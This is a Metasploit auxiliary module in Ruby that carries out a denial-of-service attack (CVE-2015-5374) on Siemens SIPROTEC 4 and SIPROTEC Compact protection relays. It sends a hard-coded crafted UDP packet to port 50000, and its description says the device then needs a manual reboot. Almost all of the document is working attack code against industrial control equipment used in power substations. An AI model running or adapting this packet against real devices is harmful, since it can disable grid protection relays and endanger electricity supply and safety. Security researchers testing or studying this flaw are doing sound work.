##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos
    def initialize(info = {})
        super(
          'Name'           => 'Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service',
          'Description'    => %q{
             This module sends a specially crafted packet to port 50000/UDP
             causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices.
             A manual reboot is required to return the device to service.
             CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.
            },
          'Author'         => [ 'M. Can Kurnaz' ],
          'License'        => MSF_LICENSE,
          'Version'        => '$Revision: 1 $',
          'References'     =>
            [
              [ 'CVE' '2015-5374' ],
              [ 'EDB', '44103' ],
              [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-15-202-01' ]
            ])
        register_options([Opt::RPORT(50000),])
  end
  def run
      connect_udp
      pckt = "\x11\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x9e"
      print_status('Sending DoS packet...')
      udp_sock.put(pckt)
      disconnect_udp
  end
end

